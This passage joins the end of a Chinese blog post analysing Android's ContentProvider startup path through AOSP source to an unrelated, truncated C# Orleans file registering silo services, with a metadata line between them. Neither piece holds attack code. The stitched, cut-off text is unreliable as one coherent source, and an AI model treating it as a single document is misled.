ContentProvider.getAuthorityWithoutUserId(auth),
resolveUserIdFromAuthority(auth), false);//1
}
......
}
```
- 由以上ApplicationContentResolver的acquireUnstableProvider方法,没啥好说的调用了ActivityThread的acquireProvider方法,接着往下看
> frameworks/base/core/java/android/app/ActivityThread.java
```
@UnsupportedAppUsage
public final IContentProvider acquireProvider(
Context c, String auth, int userId, boolean stable) {
final IContentProvider provider = acquireExistingProvider(c, auth, userId, stable); //1
if (provider != null) {
return provider;
}
.......
ContentProviderHolder holder = null;
try {
synchronized (getGetProviderLock(auth, userId)) {
holder = ActivityManager.getService().getContentProvider(
getApplicationThread(), c.getOpPackageName(), auth, userId, stable);//2
}
} catch (RemoteException ex) {
throw ex.rethrowFromSystemServer();
}
.......
// Install provider will increment the reference count for us, and break
// any ties in the race.
holder = installProvider(c, holder, holder.info,
true /*noisy*/, holder.noReleaseNeeded, stable);//3
return holder.provider;
}
```
- 由以上主线程管理类ActivityThread的acquireProvider方法源码
1. 注释1处会根据 auth 和 userId组成的key 在 ActivityThread 类的ArrayMap类型的**mProviderMap** 中查找是否已经有对应IContentProvider,也就是ContentProvider是否被当前进程访问过,创建则直接返回IContentProvider
2. 注释2处当前进程没有访问过目标ContentProvider则会调用AMS的getContentProvider来进一步处理,同样的也传入了**ApplicationThread**,方便后续通信,稍后再细说。
3. 注释2处如果经过AMS处理之后ContentProvider代理对象为ContentProviderHolder并返回IContentProvider对象(ContentProviderHolder说白了就是一个可以进程间传输的bean对象,继承 Parcelable 接口,它包含了IContentProvider对象,ContentProvider在清单文件注册信息ProviderInfo 等)
### Activity调用ContentProvider到AMS时序图

- 接下来继续看到AMS的getContentProvider方法
> frameworks/base/services/core/java/com/android/server/am/ActivityManagerService.java
```
@Override
public final ContentProviderHolder getContentProvider(
IApplicationThread caller, String callingPackage, String name, int userId,
boolean stable) {
.....
final int callingUid = Binder.getCallingUid();
.....
if (callingPackage != null &&
return getContentProviderImpl(caller, name, null, callingUid, callingPackage,
null, stable, userId);//1
}
```
- 由以上源码,只是获取了调用进程的uid,接着继续调用getContentProviderImpl方法,返回的正是ContentProvider代理对象ContentProviderHolder;该方法比较长,接下来分块了解
### 应用程序当前进程运行ContentProvider
> frameworks/base/services/core/java/com/android/server/am/ActivityManagerService.java
```
private ContentProviderHolder getContentProviderImpl(IApplicationThread caller,
String name, IBinder token, int callingUid, String callingPackage, String callingTag,
boolean stable, int userId) {
ContentProviderRecord cpr; //1
ContentProviderConnection conn = null; //2
ProviderInfo cpi = null; //3
boolean providerRunning = false;
.....
// First check if this content provider has been published...
cpr = mProviderMap.getProviderByName(name, userId);//4
if (providerRunning) {
cpi = cpr.info;
String msg;
if (r != null && cpr.canRunHere(r)) {//5
......
// This provider has been published or is in the process
// of being published... but it is also allowed to run
// in the caller's process, so don't make a connection
// and just let the caller instantiate its own instance.
ContentProviderHolder holder = cpr.newHolder(null); //5
// don't give caller the provider object, it needs
// to make its own.
holder.provider = null;
return holder;
}
.....
}
```
- 如上所示,首先明确注释1、2、3变量含义
1. ContentProviderRecord 代表一个ContentProvider在AMS中的描述,包含 ContentProvider 相关信息;ContentProviderConnection是个Binder对象,表示AMS和客户端之间的连接描述,客户端指示App 进程,也可以指代provider启动运行后的进程;ProviderInfo则代表ContentProvider在清单文件注册的信息,比如provider的唯一标识符authorities等;
2. 注释4处mProviderMap(ProviderMap)中保存是ContentProvider相关信息,通过名称和userId为key来获取对应的ContentProviderRecord,主要 name 对应的是 ContentProvider 的清单文件注册唯一表示信息 android:authorities
3. 注释5处canRunHere函数会检查当前 ContentProvider 清单注册文件 multiprocess 属性是否在访问它的应用程序进程启动,接着注释6
4. 注释6处,AMS运行到此,说明要获取的ContentProvider已经发布过了或者正在发布,并且它可以运行在调用者的进程,也就是App进程,直接返回ContentProviderHolder 让App进程去实例化ContentProvider,调用的是**ContentProviderRecord的newHolder方法**
- 接着回到ActivityThread的acquireProvider方法
> frameworks/base/core/java/android/app/ActivityThread.java
```
@UnsupportedAppUsage
public final IContentProvider acquireProvider(
Context c, String auth, int userId, boolean stable) {
.......
ContentProviderHolder holder = null;
try {
synchronized (getGetProviderLock(auth, userId)) {
holder = ActivityManager.getService().getContentProvider(
getApplicationThread(), c.getOpPackageName(), auth, userId, stable);
}
.....
// Install provider will increment the reference count for us, and break
// any ties in the race.
holder = installProvider(c, holder, holder.info,
true /*noisy*/, holder.noReleaseNeeded, stable);//1
return holder.provider;
}
```
- 由前面分析,结合以上源码,AMS立即返回了ContentProviderHolder对象,该对象是通过ContentProviderRecord的newHolder方法获得的,也就包含ContentProvider的信息,接着调用installProvider来实例化ContentProvider,该方法留到后文在继续分析。
### 新建进程启动ContentProvider
- 上一小节只是大概分析了本地ContentProvider启动过程,而如果ContentProvider在新的进程启动又是怎样一个过程呢?接着回到 AMS 的 getContentProviderImpl 方法
> frameworks/base/services/core/java/com/android/server/am/ActivityManagerService.java
```
private ContentProviderHolder getContentProviderImpl(IApplicationThread caller,
String name, IBinder token, int callingUid, String callingPackage, String callingTag,
boolean stable, int userId) {
ContentProviderRecord cpr;
ContentProviderConnection conn = null;
ProviderInfo cpi = null;
........
if (!providerRunning) {
try {
.....
cpi = AppGlobals.getPackageManager().
resolveContentProvider(name,
STOCK_PM_FLAGS | PackageManager.GET_URI_PERMISSION_PATTERNS, userId);//1
.....
} catch (RemoteException ex) {
}
......
ComponentName comp = new ComponentName(cpi.packageName, cpi.name);
.......
cpr = mProviderMap.getProviderByClass(comp, userId);
.......
final boolean firstClass = cpr == null;
if (firstClass) {
......
cpr = new ContentProviderRecord(this, cpi, ai, comp, singleton);//2
} catch (RemoteException ex) {
.....
}
final int N = mLaunchingProviders.size();//3
int i;
for (i = 0; i < N; i++) {
if (mLaunchingProviders.get(i) == cpr) {4
break;
}
}
// If the provider is not already being launched, then get it
// started.
if (i >= N) {
try {
// Content provider is now in use, its package can't be stopped.
......
// Use existing process if already started
......
ProcessRecord proc = getProcessRecordLocked(
cpi.processName, cpr.appInfo.uid, false);
if (proc != null && proc.thread != null && !proc.killed) {
.....
if (!proc.pubProviders.containsKey(cpi.name)) {
proc.pubProviders.put(cpi.name, cpr);
try {
proc.thread.scheduleInstallProvider(cpi);//5
} catch (RemoteException e) {
}
}
} else {
.....
proc = startProcessLocked(cpi.processName,
cpr.appInfo, false, 0,
new HostingRecord("content provider",
new ComponentName(cpi.applicationInfo.packageName,
cpi.name)), false, false, false);//6
.......
}
}
cpr.launchingApp = proc;
mLaunchingProviders.add(cpr);//7
.......
if (firstClass) {
mProviderMap.putProviderByClass(comp, cpr);//8
}
mProviderMap.putProviderByName(name, cpr);
conn = incProviderCountLocked(r, cpr, token, callingUid, callingPackage, callingTag,
stable);//9
synchronized (cpr) {
while (cpr.provider == null) {
.......
try {
.....
cpr.wait(wait); //10
....
} catch (InterruptedException ex) {
}
....
}
}
return cpr.newHolder(conn);
}
```
1. 由以上源码,注释1处通过PMS(PackageManagerService)获取ContentProvider在清单文件注册信息,注释2处新建了ContentProviderRecord来在AMS描述ContentProvider对象
2. 结合注释3和注释4 如果ContentProvider已经启动了,则不会再继续执行后面的逻辑
3. 如果ContentProvider需要运行的进程已经启动,则注释5处会调用该进程ActivityThread 的 scheduleInstallProvider 方法,否则调用AMS的 startProcessLocked 来启动 ContentProvider 需要运行的应用程序进程。当前分析第一次启动,肯定是走注释6来启动应用程序进程,由我前面的分析文章 [深入理解Android之应用程序进程启动流程](https://juejin.im/post/5e8de292e51d4546e64c6646),应用程序进程启动后会首先执行 **ActivityThread 的 main方法**。
4. 注释7处将正在启动的 ContentProvider 描述 ContentProviderRecord 保存到 mLaunchingProviders
5. 最后注释8和9如果第一次运行则将其保存,并构造新启动的provider与AMS自己连接的描述对象ContentProviderConnection,最后返回ContentProviderHolder。
6. 注释10处使用一个while循环等待应用程序进程启动,实际就是等待进程启动之后启动运行其中的ContentProvider启动,而后AMS将对应ContentProviderRecord 描述生成对象**ContentProviderHolder**返回。
- 接下来继续看到在新的应用程序进程ContentProvider是如何启动的,继续看到 ActivityThread 的 main 方法。
> frameworks/base/core/java/android/app/ActivityThread.java
```
public static void main(String[] args) {
......
ActivityThread thread = new ActivityThread();
thread.attach(false, startSeq);
......
}
```
- main 方法中只关注这两行代码,一个新建了ActivityThread对象,其次是调用了它的attach方法
> frameworks/base/core/java/android/app/ActivityThread.java
```
@UnsupportedAppUsage
private void attach(boolean system, long startSeq) {
.....
final IActivityManager mgr = ActivityManager.getService();
try {
mgr.attachApplication(mAppThread, startSeq);
} catch (RemoteException ex) {
throw ex.rethrowFromSystemServer();
}
.....
}
```
- attach 方也不用关注过多的逻辑,这里直接有调用了 AMS 的 attachApplication 的方法,并传入当前 provider 运行进程的 **ApplicationThread**,接着往下看
> frameworks/base/services/core/java/com/android/server/am/ActivityManagerService.java
```
@Override
public final void attachApplication(IApplicationThread thread, long startSeq) {
synchronized (this) {
.....
attachApplicationLocked(thread, callingPid, callingUid, startSeq);
.....
}
}
@GuardedBy("this")
private final boolean attachApplicationLocked(IApplicationThread thread,
int pid, int callingUid, long startSeq) {
.....
List<ProviderInfo> providers = normalMode ? generateApplicationProvidersLocked(app) : null;//1
.....
thread.bindApplication(processName, appInfo, providers, null, profilerInfo,
null, null, null, testMode,
mBinderTransactionTrackingEnabled, enableTrackAllocation,
isRestrictedBackupMode || !normalMode, app.isPersistent(),
new Configuration(app.getWindowProcessController().getConfiguration()),
app.compat, getCommonServicesLocked(app.isolated),
mCoreSettingsObserver.getCoreSettingsLocked(),
buildSerial, autofillOptions, contentCaptureOptions);//2
.....
}
```
> frameworks/base/services/core/java/com/android/server/am/ActivityManagerService.java
```
// =========================================================
// CONTENT PROVIDERS
// =========================================================
private final List<ProviderInfo> generateApplicationProvidersLocked(ProcessRecord app) {
List<ProviderInfo> providers = null;
try {
providers = AppGlobals.getPackageManager()
.queryContentProviders(app.processName, app.uid,
STOCK_PM_FLAGS | PackageManager.GET_URI_PERMISSION_PATTERNS
| MATCH_DEBUG_TRIAGED_MISSING, /*metadastaKey=*/ null)
.getList();
} catch (RemoteException ex) {
}
.....
int userId = app.userId;
if (providers != null) {
int N = providers.size();
app.pubProviders.ensureCapacity(N + app.pubProviders.size());
for (int i=0; i<N; i++) {
// TODO: keep logic in sync with installEncryptionUnawareProviders
ProviderInfo cpi =
(ProviderInfo)providers.get(i);
.......
ComponentName comp = new ComponentName(cpi.packageName, cpi.name);
ContentProviderRecord cpr = mProviderMap.getProviderByClass(comp, userId);
if (cpr == null) {
cpr = new ContentProviderRecord(this, cpi, app.info, comp, singleton);
mProviderMap.putProviderByClass(comp, cpr);
}
app.pubProviders.put(cpi.name, cpr);
if (!cpi.multiprocess || !"android".equals(cpi.packageName)) {
// Don't add this if it is a platform component that is marked
// to run in multiple processes, because this is actually
// part of the framework so doesn't make sense to track as a
// separate apk in the process.
app.addPackage(cpi.applicationInfo.packageName,
cpi.applicationInfo.longVersionCode, mProcessStats);
}
notifyPackageUse(cpi.applicationInfo.packageName,
PackageManager.NOTIFY_PACKAGE_USE_CONTENT_PROVIDER);
}
}
return providers;
}
```
- 由以上源码,AMS 的 attachApplication又调用了 attachApplicationLocked 方法,
1. 注释1处generateApplicationProvidersLocked如上所示,首先由PMS获取ContentProvider组件信息并检查是否已经创建ContentProviderRecord,并放入集以类名为key的 mProviderMap中,一个应用程序进程启动时会将该进程所有的 ContenProvider 组件启动起来。
2. 回到AMS的 attachApplicationLocked 方法,接着AMS通过 进程的 ApplicationThread 调用到对应进程的 ActivityThread 的 bindApplication 方法
- frameworks/base/core/java/android/app/ActivityThread.java
```
public final void bindApplication(String processName, ApplicationInfo appInfo,
List<ProviderInfo> providers, ComponentName instrumentationName,
ProfilerInfo profilerInfo, Bundle instrumentationArgs,
IInstrumentationWatcher instrumentationWatcher,
IUiAutomationConnection instrumentationUiConnection, int debugMode,
boolean enableBinderTracking, boolean trackAllocation,
boolean isRestrictedBackupMode, boolean persistent, Configuration config,
CompatibilityInfo compatInfo, Map services, Bundle coreSettings,
String buildSerial, AutofillOptions autofillOptions,
ContentCaptureOptions contentCaptureOptions) {
......
AppBindData data = new AppBindData();
data.processName = processName;
data.appInfo = appInfo;
data.providers = providers;
data.instrumentationName = instrumentationName;
data.instrumentationArgs = instrumentationArgs;
data.instrumentationWatcher = instrumentationWatcher;
data.instrumentationUiAutomationConnection = instrumentationUiConnection;
data.debugMode = debugMode;
data.enableBinderTracking = enableBinderTracking;
data.trackAllocation = trackAllocation;
data.restrictedBackupMode = isRestrictedBackupMode;
data.persistent = persistent;
data.config = config;
data.compatInfo = compatInfo;
data.initProfilerInfo = profilerInfo;
data.buildSerial = buildSerial;
data.autofillOptions = autofillOptions;
data.contentCaptureOptions = contentCaptureOptions;
sendMessage(H.BIND_APPLICATION, data);//1
}
```
- AppBindData 是ActivityThread的静态内部类,由以上 bindApplication 方法源码注释1处调用了主线程 Handler 发送消息,将接下来的逻辑运行在线程,并且将 AppBindData 数据绑定的消息BIND_APPLICATION发送到主线Handler的消息队列中处理。
> frameworks/base/core/java/android/app/ActivityThread.java
```
class H extends Handler {
.....
public void handleMessage(Message msg) {
switch (msg.what) {
case BIND_APPLICATION:
.....
AppBindData data = (AppBindData)msg.obj;
handleBindApplication(data);
.....
break;}
.......
}
}
```
- 显然,解析出 AppBindData 的数据后继续调用handleBindApplication方法
> frameworks/base/core/java/android/app/ActivityThread.java
```
private void handleBindApplication(AppBindData data) {
.....
Application app;
......
try {
// If the app is being launched for full backup or restore, bring it up in
// a restricted environment with the base application class.
app = data.info.makeApplication(data.restrictedBackupMode, null); //1
// don't bring up providers in restricted mode; they may depend on the
// app's custom Application class
if (!data.restrictedBackupMode) {
if (!ArrayUtils.isEmpty(data.providers)) {
installContentProviders(app, data.providers);//2
}
}
// Do this after providers, since instrumentation tests generally start their
// test thread at this point, and we don't want that racing.
......
try {
mInstrumentation.callApplicationOnCreate(app);//3
} catch (Exception e) {
}
}
.....
```
- 由以上 handleBindApplication 方法源码
1. 注释1处创建应用程序进程的 Application
2. 注释2处,获取 AppBindData 中的 providers ,它保存了当前应用程序所需要启动的所有 ContentProvider 组件,接着调用了 ActivityThread 的 installContentProviders 方法。
> frameworks/base/core/java/android/app/ActivityThread.java
```
@UnsupportedAppUsage
private void installContentProviders(
Context context, List<ProviderInfo> providers) {
final ArrayList<ContentProviderHolder> results = new ArrayList<>();
for (ProviderInfo cpi : providers) {
.......
ContentProviderHolder cph = installProvider(context, null, cpi,
false /*noisy*/, true /*noReleaseNeeded*/, true /*stable*/);//1
if (cph != null) {
cph.noReleaseNeeded = true;
results.add(cph);//2
}
}
try {
ActivityManager.getService().publishContentProviders(
getApplicationThread(), results);//3
} catch (RemoteException ex) {
throw ex.rethrowFromSystemServer();
}
}
```
- 由以上源码,注释1处遍历 providers 并调用 installProvider 方法来启动每个 ContentProvider 组件,接着注释2将包含启动 ContentProvider 组件信息 ContentProviderHolder 保存并在注释3处调用 AMS 的 publishContentProviders 的放传递给 AMS,方便 AMS 能够访问启动的 ContentProvider 组件。
- 接着看到 installProvider 方法逻辑
> frameworks/base/core/java/android/app/ActivityThread.java
```
private ContentProviderHolder installProvider(Context context,
ContentProviderHolder holder, ProviderInfo info,
boolean noisy, boolean noReleaseNeeded, boolean stable) {
ContentProvider localProvider = null;
IContentProvider provider;
if (holder == null || holder.provider == null) {//1
.......
Context c = null;
ApplicationInfo ai = info.applicationInfo;
if (context.getPackageName().equals(ai.packageName)) {
c = context;
}
......
try {
final java.lang.ClassLoader cl = c.getClassLoader();
LoadedApk packageInfo = peekPackageInfo(ai.packageName, true);
.......
localProvider = packageInfo.getAppFactory()
.instantiateProvider(cl, info.name);//2
provider = localProvider.getIContentProvider();//3
......
// XXX Need to create the correct context for this provider.
localProvider.attachInfo(c, info);//4
} catch (java.lang.Exception e) {
......
}
}
......
synchronized (mProviderMap) {
IBinder jBinder = provider.asBinder();
if (localProvider != null) {
.......
ProviderClientRecord pr = mLocalProvidersByName.get(cname);
.......
holder = new ContentProviderHolder(info);
holder.provider = provider;
holder.noReleaseNeeded = true;
pr = installProviderAuthoritiesLocked(provider, localProvider, holder);
mLocalProviders.put(jBinder, pr);//5
mLocalProvidersByName.put(cname, pr);
}
retHolder = pr.mHolder;
......
}
}
```
> frameworks/base/core/java/android/content/ContentProvider.java
```
private void attachInfo(Context context, ProviderInfo info, boolean testing) {
mNoPerms = testing;
mCallingPackage = new ThreadLocal<>();
if (mContext == null) {
mContext = context;
if (context != null && mTransport != null)
........
ContentProvider.this.onCreate();
}
}
```
- 由以上installProvider方法源码
1. 注释1处 installProvider 方法被调用时传递就是 null ,所以注释2处通过ClassLoder反射创建了ContentProvider对象实例,并在注释3处获取了IContentProvider对象,注释4处则回调了ContentProvider的 **OnCreate** 方法(如上代码所示),这样自定义 ContentProvider 组件初始化一下工作就可以在OnCreate方法执行,但是需要注意是运行主线程,避免耗时操作;
2. 注释5处则保存当前进程运行的 ContentProvider封装 的对象 ProviderClientRecord,注释3获取的 IContentProvider,之后会将其发布到 AMS 方便其它需要访问该 ContentProvider 组件调用。
3. 回看到 handleBindApplication 的 注释3 会回调 Application 的 OnCreate 方法
- 接着会看到 installContentProviders 方法注释3 将 ContentProvider 组件创建完成之后调用 AMS 的publishContentProviders 方法
> frameworks/base/services/core/java/com/android/server/am/ActivityManagerService.java
```
public final void publishContentProviders(IApplicationThread caller,
List<ContentProviderHolder> providers) {
........
synchronized (this) {
final ProcessRecord r = getRecordForAppLocked(caller);
........
final int N = providers.size();
for (int i = 0; i < N; i++) {
ContentProviderHolder src = providers.get(i);
ContentProviderRecord dst = r.pubProviders.get(src.info.name);
if (dst != null) {
ComponentName comp = new ComponentName(dst.info.packageName, dst.info.name);
mProviderMap.putProviderByClass(comp, dst);
String names[] = dst.info.authority.split(";");
for (int j = 0; j < names.length; j++) {
mProviderMap.putProviderByName(names[j], dst);
}
int launchingCount = mLaunchingProviders.size();
int j;
boolean wasInLaunchingProviders = false;
for (j = 0; j < launchingCount; j++) {
if (mLaunchingProviders.get(j) == dst) {
mLaunchingProviders.remove(j);
wasInLaunchingProviders = true;
j--;
launchingCount--;
}
}
synchronized (dst) {
dst.provider = src.provider;//1
dst.setProcess(r);
dst.notifyAll();
}
......
}
}
Binder.restoreCallingIdentity(origId);
}
}
```
- 根据前面分析,mLaunchingProviders保存是正在启动中的 ContentProvider 组件,之前在AMS 被描述为 ContentProviderRecord,而启动完成的组件描述为ContentProviderHolder,根据前面的分析,启动组件进程过程正在等待,这是判断对应要启动provider组件则注释1处将启动好组件对应 IContentProvider 赋值,这样AMS 则将链接对应 IContentProvider的**ContentProviderHolder**对象 返回到调用者的这边,也就是 ActivityThread 的 acquireProvider 方法
> frameworks/base/core/java/android/app/ActivityThread.java
```
@UnsupportedAppUsage
public final IContentProvider acquireProvider(
Context c, String auth, int userId, boolean stable) {
final IContentProvider provider = acquireExistingProvider(c, auth, userId, stable);
.......
ContentProviderHolder holder = null;
try {
synchronized (getGetProviderLock(auth, userId)) {
holder = ActivityManager.getService().getContentProvider(
getApplicationThread(), c.getOpPackageName(), auth, userId, stable);//1
}
} catch (RemoteException ex) {
throw ex.rethrowFromSystemServer();
}
......
holder = installProvider(c, holder, holder.info,
true /*noisy*/, holder.noReleaseNeeded, stable);//2
return holder.provider;
}
```
- 由以上源码注释1获取到了ContentProviderHolder,注释2处installProvider前面分析过,ContentProviderHolder不为空,所以IContentProvider也不为空,最后返回的也就是 IContentProvider 对象,也就是说调用的 query 方法也就是 IContentProvider 对象指向的对象的 query 方法,接着往下看
- 最后再来看看 IContentProvider 获取
>
```
public abstract class ContentProvider implements ContentInterface, ComponentCallbacks2 {
.....
private Transport mTransport = new Transport();
/**
* Binder object that deals with remoting.
*
* @hide
*/
class Transport extends ContentProviderNative {
volatile ContentInterface mInterface = ContentProvider.this;
.......
@Override
public Cursor query(String callingPkg, Uri uri, @Nullable String[] projection,
@Nullable Bundle queryArgs, @Nullable ICancellationSignal cancellationSignal) {
......
// ContentProvider.this.query
cursor = mInterface.query(
uri, projection, queryArgs,
CancellationSignal.fromTransport(cancellationSignal));
.....
}
......
}
.......
@UnsupportedAppUsage
public IContentProvider getIContentProvider() {
return mTransport;
}
```
- 到此应该很清晰了,在 ContentProvider 中 IContentProvider 指向的是 mTransport,它就是 ContentProvider 的 Binder 代理对象,显然调用者通过Binder机制调用到了ContentProvider.Transport 的 query方法,它内部调用了 ContentProvider 本身的 query 方法,最终执行结果返回也是通过Binder机制返回。这里也清楚了解到**通过 AMS 获取的不是 ContentProvider 本身,而是能够与它进程间通信的 IContentProvider 对象**。
- 剩余的 insert、delete、update 等方法基本也是一样的,这里就不再进行展开了。
### AMS 启动ContentProvider结合最终调用query方法时序图

### 回顾
- ContentProvider能实现进程间通信实际上是通过对 Binder 的封装
- ContentProvider启动过程的 OnCreate 方法调用会先于 Application方法的 OnCreate 方法调用
- getContentResolver.query 实际获取不是 ContentProvider 组件本身,而是支持 binder 通信的代理对象 IContentProvider
- ContentProvider 启动支持在当前进程启动,也支持新建一个进程启动
- 不管调用ContentProvider的哪个方法,ContentProvider没有启动都会先启动对应的内容提供者组件
|
{
"pile_set_name": "Github"
}
|
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.DependencyInjection.Extensions;
using Orleans.Configuration;
using Orleans.Configuration.Validators;
using Orleans.Runtime.Configuration;
using Orleans.Runtime.ConsistentRing;
using Orleans.Runtime.Counters;
using Orleans.Runtime.GrainDirectory;
using Orleans.Runtime.LogConsistency;
using Orleans.Runtime.MembershipService;
using Orleans.Metadata;
using Orleans.Runtime.Messaging;
using Orleans.Runtime.Placement;
using Orleans.Runtime.Providers;
using Orleans.Runtime.ReminderService;
using Orleans.Runtime.Scheduler;
using Orleans.Runtime.Versions;
using Orleans.Runtime.Versions.Compatibility;
using Orleans.Runtime.Versions.Selector;
using Orleans.Serialization;
using Orleans.Statistics;
using Orleans.Streams;
using Orleans.Streams.Core;
using Orleans.Timers;
using Orleans.Versions;
using Orleans.Versions.Compatibility;
using Orleans.Versions.Selector;
using Orleans.Providers;
using Orleans.Runtime;
using Orleans.Transactions;
using Orleans.LogConsistency;
using Microsoft.Extensions.Logging;
using Orleans.ApplicationParts;
using Orleans.Runtime.Utilities;
using System;
using System.Reflection;
using System.Linq;
using Microsoft.Extensions.Options;
using Orleans.Timers.Internal;
using Microsoft.AspNetCore.Connections;
using Orleans.Networking.Shared;
using Orleans.Configuration.Internal;
using Orleans.Runtime.Metadata;
using Orleans.GrainReferences;
namespace Orleans.Hosting
{
internal static class DefaultSiloServices
{
internal static void AddDefaultServices(IApplicationPartManager applicationPartManager, IServiceCollection services)
{
services.AddOptions();
services.AddTransient<IConfigurationValidator, EndpointOptionsValidator>();
// Options logging
services.TryAddSingleton(typeof(IOptionFormatter<>), typeof(DefaultOptionsFormatter<>));
services.TryAddSingleton(typeof(IOptionFormatterResolver<>), typeof(DefaultOptionsFormatterResolver<>));
// Register system services.
services.TryAddSingleton<ILocalSiloDetails, LocalSiloDetails>();
services.TryAddSingleton<ISiloHost, SiloHost>();
services.TryAddTransient<ILifecycleSubject, LifecycleSubject>();
services.TryAddSingleton<SiloLifecycleSubject>();
services.TryAddFromExisting<ISiloLifecycleSubject, SiloLifecycleSubject>();
services.TryAddFromExisting<ISiloLifecycle, SiloLifecycleSubject>();
services.AddSingleton<SiloOptionsLogger>();
services.AddFromExisting<ILifecycleParticipant<ISiloLifecycle>, SiloOptionsLogger>();
services.PostConfigure<SiloMessagingOptions>(options =>
{
//
// Assign environment specific defaults post configuration if user did not configured otherwise.
//
if (options.SiloSenderQueues == 0)
{
options.SiloSenderQueues = Environment.ProcessorCount;
}
if (options.GatewaySenderQueues == 0)
{
options.GatewaySenderQueues = Environment.ProcessorCount;
}
});
services.TryAddSingleton<TelemetryManager>();
services.TryAddFromExisting<ITelemetryProducer, TelemetryManager>();
services.TryAddSingleton<IAppEnvironmentStatistics, AppEnvironmentStatistics>();
services.TryAddSingleton<IHostEnvironmentStatistics, NoOpHostEnvironmentStatistics>();
services.TryAddSingleton<SiloStatisticsManager>();
services.TryAddFromExisting<IStatisticsManager, SiloStatisticsManager>();
services.TryAddSingleton<ApplicationRequestsStatisticsGroup>();
services.TryAddSingleton<StageAnalysisStatisticsGroup>();
services.TryAddSingleton<SchedulerStatisticsGroup>();
services.TryAddSingleton<SerializationStatisticsGroup>();
services.TryAddSingleton<OverloadDetector>();
// queue balancer contructing related
services.TryAddTransient<IStreamQueueBalancer, ConsistentRingQueueBalancer>();
services.TryAddSingleton<FallbackSystemTarget>();
services.TryAddSingleton<LifecycleSchedulingSystemTarget>();
services.AddLogging();
services.TryAddSingleton<ITimerRegistry, TimerRegistry>();
services.TryAddSingleton<IReminderRegistry, ReminderRegistry>();
services.TryAddSingleton<GrainRuntime>();
services.TryAddSingleton<IGrainRuntime, GrainRuntime>();
services.TryAddSingleton<IGrainCancellationTokenRuntime, GrainCancellationTokenRuntime>();
services.AddTransient<CancellationSourcesExtension>();
services.AddTransientKeyedService<Type, IGrainExtension>(typeof(ICancellationSourcesExtension), (sp, _) => sp.GetRequiredService<CancellationSourcesExtension>());
services.TryAddSingleton<OrleansTaskScheduler>();
services.TryAddSingleton<GrainFactory>(sp => sp.GetService<InsideRuntimeClient>().ConcreteGrainFactory);
services.TryAddSingleton<GrainInterfaceTypeToGrainTypeResolver>();
services.TryAddFromExisting<IGrainFactory, GrainFactory>();
services.TryAddFromExisting<IInternalGrainFactory, GrainFactory>();
services.TryAddSingleton<IGrainReferenceRuntime, GrainReferenceRuntime>();
services.TryAddSingleton<GrainReferenceActivator>();
services.AddSingleton<IGrainReferenceActivatorProvider, ImrGrainReferenceActivatorProvider>();
services.AddSingleton<IGrainReferenceActivatorProvider, UntypedGrainReferenceActivatorProvider>();
services.AddSingleton<IConfigureGrainContextProvider, MayInterleaveConfiguratorProvider>();
services.AddSingleton<IConfigureGrainTypeComponents, ReentrantSharedComponentsConfigurator>();
services.TryAddSingleton<ImrRpcProvider>();
services.TryAddSingleton<ImrGrainMethodInvokerProvider>();
services.TryAddSingleton<GrainReferenceSerializer>();
services.TryAddSingleton<BinaryFormatterGrainReferenceSurrogateSelector>();
services.TryAddSingleton<GrainReferenceKeyStringConverter>();
services.AddSingleton<GrainVersionManifest>();
services.TryAddSingleton<TypeMetadataCache>();
services.TryAddSingleton<GrainBindingsResolver>();
services.TryAddSingleton<GrainTypeComponentsResolver>();
services.TryAddSingleton<ActivationDirectory>();
services.AddSingleton<ActivationCollector>();
services.AddFromExisting<IActivationCollector, ActivationCollector>();
// Directory
services.TryAddSingleton<LocalGrainDirectory>();
services.TryAddFromExisting<ILocalGrainDirectory, LocalGrainDirectory>();
services.AddSingleton<GrainLocator>();
services.AddSingleton<GrainLocatorResolver>();
services.AddSingleton<DhtGrainLocator>(sp => DhtGrainLocator.FromLocalGrainDirectory(sp.GetService<LocalGrainDirectory>()));
services.AddSingleton<GrainDirectoryResolver>();
services.AddSingleton<IGrainDirectoryResolver, GenericGrainDirectoryResolver>();
services.AddSingleton<CachedGrainLocator>();
services.AddFromExisting<ILifecycleParticipant<ISiloLifecycle>, CachedGrainLocator>();
services.AddSingleton<ClientGrainLocator>();
services.TryAddSingleton<MessageCenter>();
services.TryAddFromExisting<IMessageCenter, MessageCenter>();
services.TryAddSingleton(FactoryUtility.Create<MessageCenter, Gateway>);
services.TryAddSingleton<Dispatcher>(sp => sp.GetRequiredService<Catalog>().Dispatcher);
services.TryAddSingleton<ActivationMessageScheduler>(sp => sp.GetRequiredService<Catalog>().ActivationMessageScheduler);
services.TryAddSingleton<InsideRuntimeClient>();
services.TryAddFromExisting<IRuntimeClient, InsideRuntimeClient>();
services.AddFromExisting<ILifecycleParticipant<ISiloLifecycle>, InsideRuntimeClient>();
services.TryAddSingleton<IGrainServiceFactory, GrainServiceFactory>();
services.TryAddSingleton<IFatalErrorHandler, FatalErrorHandler>();
services.TryAddSingleton<DeploymentLoadPublisher>();
services.TryAddSingleton<IAsyncTimerFactory, AsyncTimerFactory>();
services.TryAddSingleton<MembershipTableManager>();
services.AddFromExisting<IHealthCheckParticipant, MembershipTableManager>();
services.AddFromExisting<ILifecycleParticipant<ISiloLifecycle>, MembershipTableManager>();
services.TryAddSingleton<MembershipSystemTarget>();
services.AddFromExisting<IMembershipService, MembershipSystemTarget>();
services.TryAddSingleton<IMembershipGossiper, MembershipGossiper>();
services.TryAddSingleton<IRemoteSiloProber, RemoteSiloProber>();
services.TryAddSingleton<SiloStatusOracle>();
services.TryAddFromExisting<ISiloStatusOracle, SiloStatusOracle>();
services.AddSingleton<ClusterHealthMonitor>();
services.AddFromExisting<ILifecycleParticipant<ISiloLifecycle>, ClusterHealthMonitor>();
services.AddFromExisting<IHealthCheckParticipant, ClusterHealthMonitor>();
services.AddSingleton<MembershipAgent>();
services.AddFromExisting<ILifecycleParticipant<ISiloLifecycle>, MembershipAgent>();
services.AddFromExisting<IHealthCheckParticipant, MembershipAgent>();
services.AddSingleton<MembershipTableCleanupAgent>();
services.AddFromExisting<ILifecycleParticipant<ISiloLifecycle>, MembershipTableCleanupAgent>();
services.AddFromExisting<IHealthCheckParticipant, MembershipTableCleanupAgent>();
services.AddSingleton<SiloStatusListenerManager>();
services.AddFromExisting<ILifecycleParticipant<ISiloLifecycle>, SiloStatusListenerManager>();
services.AddSingleton<ClusterMembershipService>();
services.TryAddFromExisting<IClusterMembershipService, ClusterMembershipService>();
services.AddFromExisting<ILifecycleParticipant<ISiloLifecycle>, ClusterMembershipService>();
services.TryAddSingleton<ClientObserverRegistrar>();
services.TryAddFromExisting<ILifecycleParticipant<ISiloLifecycle>, ClientObserverRegistrar>();
